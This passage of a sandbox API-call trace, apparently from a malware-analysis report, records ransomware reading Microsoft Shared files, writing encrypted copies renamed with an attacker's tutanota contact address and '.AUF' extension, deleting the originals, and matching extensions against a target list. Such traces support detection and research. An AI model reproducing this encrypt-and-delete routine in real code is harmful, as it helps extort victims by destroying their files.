lpNumberOfBytesWritten=0x2e5fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0217.338] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.338] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.338] SetEndOfFile (hFile=0x1f8) returned 1 [0217.338] CloseHandle (hObject=0x1f8) returned 1 [0217.338] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.338] SetEndOfFile (hFile=0x20c) returned 1 [0217.453] CloseHandle (hObject=0x20c) returned 1 [0217.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.454] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0217.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.454] lstrlenW (lpString=".doc") returned 4 [0217.454] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString=".docx") returned 5 [0217.454] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.454] lstrlenW (lpString=".pdf") returned 4 [0217.454] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString=".xls") returned 4 [0217.454] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString=".xlsx") returned 5 [0217.454] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.454] lstrlenW (lpString=".ppt") returned 4 [0217.454] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.454] lstrlenW (lpString=".zip") returned 4 [0217.454] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString=".rar") returned 4 [0217.454] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.454] lstrlenW (lpString=".bz2") returned 4 [0217.454] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.454] lstrlenW (lpString=".7z") returned 3 [0217.454] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.454] lstrlenW (lpString=".dbf") returned 4 [0217.454] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.454] lstrlenW (lpString=".1cd") returned 4 [0217.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".jpg") returned 4 [0217.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".doc") returned 4 [0217.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString=".docx") returned 5 [0217.455] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.455] lstrlenW (lpString=".pdf") returned 4 [0217.455] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString=".xls") returned 4 [0217.455] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString=".xlsx") returned 5 [0217.455] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.455] lstrlenW (lpString=".ppt") returned 4 [0217.455] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".zip") returned 4 [0217.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString=".rar") returned 4 [0217.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.455] lstrlenW (lpString=".bz2") returned 4 [0217.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.455] lstrlenW (lpString=".7z") returned 3 [0217.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".dbf") returned 4 [0217.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".1cd") returned 4 [0217.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0217.455] lstrlenW (lpString=".jpg") returned 4 [0217.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.455] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0217.455] lstrlenW (lpString="offfiltx.dll") returned 12 [0217.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0217.554] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1486736) returned 1 [0217.554] CloseHandle (hObject=0x16c) returned 1 [0217.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0217.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0217.555] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.555] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0217.555] GetLastError () returned 0x0 [0217.555] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0217.728] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0217.740] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0218.122] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0218.129] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.129] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.129] SetEndOfFile (hFile=0x208) returned 1 [0218.129] CloseHandle (hObject=0x208) returned 1 [0218.130] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.130] SetEndOfFile (hFile=0x16c) returned 1 [0218.133] CloseHandle (hObject=0x16c) returned 1 [0218.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.133] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0218.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.133] lstrlenW (lpString=".doc") returned 4 [0218.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.133] lstrlenW (lpString=".docx") returned 5 [0218.133] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0218.133] lstrlenW (lpString=".pdf") returned 4 [0218.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.133] lstrlenW (lpString=".xls") returned 4 [0218.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.133] lstrlenW (lpString=".xlsx") returned 5 [0218.133] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0218.133] lstrlenW (lpString=".ppt") returned 4 [0218.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".zip") returned 4 [0218.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".rar") returned 4 [0218.134] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".bz2") returned 4 [0218.134] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString=".7z") returned 3 [0218.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".dbf") returned 4 [0218.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".1cd") returned 4 [0218.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".jpg") returned 4 [0218.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".doc") returned 4 [0218.134] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".docx") returned 5 [0218.134] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0218.134] lstrlenW (lpString=".pdf") returned 4 [0218.134] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".xls") returned 4 [0218.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".xlsx") returned 5 [0218.134] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0218.134] lstrlenW (lpString=".ppt") returned 4 [0218.134] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".zip") returned 4 [0218.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".rar") returned 4 [0218.134] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.134] lstrlenW (lpString=".bz2") returned 4 [0218.134] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString=".7z") returned 3 [0218.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".dbf") returned 4 [0218.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.134] lstrlenW (lpString=".1cd") returned 4 [0218.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0218.135] lstrlenW (lpString=".jpg") returned 4 [0218.135] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.135] lstrcmpiW (lpString1=".WPG", lpString2=".AUF") returned 1 [0218.135] lstrlenW (lpString="MS.WPG") returned 6 [0218.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.135] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1382) returned 1 [0218.135] CloseHandle (hObject=0x16c) returned 1 [0218.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0218.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.135] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.136] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.369] GetLastError () returned 0x0 [0218.369] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x566, lpOverlapped=0x0) returned 1 [0218.375] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x570, lpOverlapped=0x0) returned 1 [0218.376] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.376] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0218.376] SetEndOfFile (hFile=0x1d8) returned 1 [0218.377] CloseHandle (hObject=0x1d8) returned 1 [0218.377] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.377] SetEndOfFile (hFile=0x16c) returned 1 [0218.378] CloseHandle (hObject=0x16c) returned 1 [0218.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.378] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0218.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.378] lstrlenW (lpString=".doc") returned 4 [0218.378] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0218.378] lstrlenW (lpString=".docx") returned 5 [0218.378] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0218.378] lstrlenW (lpString=".pdf") returned 4 [0218.378] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0218.378] lstrlenW (lpString=".xls") returned 4 [0218.378] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0218.378] lstrlenW (lpString=".xlsx") returned 5 [0218.378] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0218.378] lstrlenW (lpString=".ppt") returned 4 [0218.378] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0218.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.378] lstrlenW (lpString=".zip") returned 4 [0218.378] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0218.378] lstrlenW (lpString=".rar") returned 4 [0218.379] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".bz2") returned 4 [0218.379] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".7z") returned 3 [0218.379] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".dbf") returned 4 [0218.379] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".1cd") returned 4 [0218.379] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".jpg") returned 4 [0218.379] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".doc") returned 4 [0218.379] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".docx") returned 5 [0218.379] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0218.379] lstrlenW (lpString=".pdf") returned 4 [0218.379] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".xls") returned 4 [0218.379] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0218.379] lstrlenW (lpString=".xlsx") returned 5 [0218.379] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0218.379] lstrlenW (lpString=".ppt") returned 4 [0218.379] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".zip") returned 4 [0218.379] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0218.379] lstrlenW (lpString=".rar") returned 4 [0218.379] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".bz2") returned 4 [0218.379] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString=".7z") returned 3 [0218.379] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.379] lstrlenW (lpString=".dbf") returned 4 [0218.379] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0218.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.380] lstrlenW (lpString=".1cd") returned 4 [0218.380] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0218.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0218.380] lstrlenW (lpString=".jpg") returned 4 [0218.380] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0218.380] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0218.380] lstrlenW (lpString="PNG32.FLT") returned 9 [0218.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.380] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=302976) returned 1 [0218.380] CloseHandle (hObject=0x16c) returned 1 [0218.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0218.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.380] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.380] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.381] GetLastError () returned 0x0 [0218.381] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0218.417] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0218.420] ReadFile (in: hFile=0x16c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.421] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, 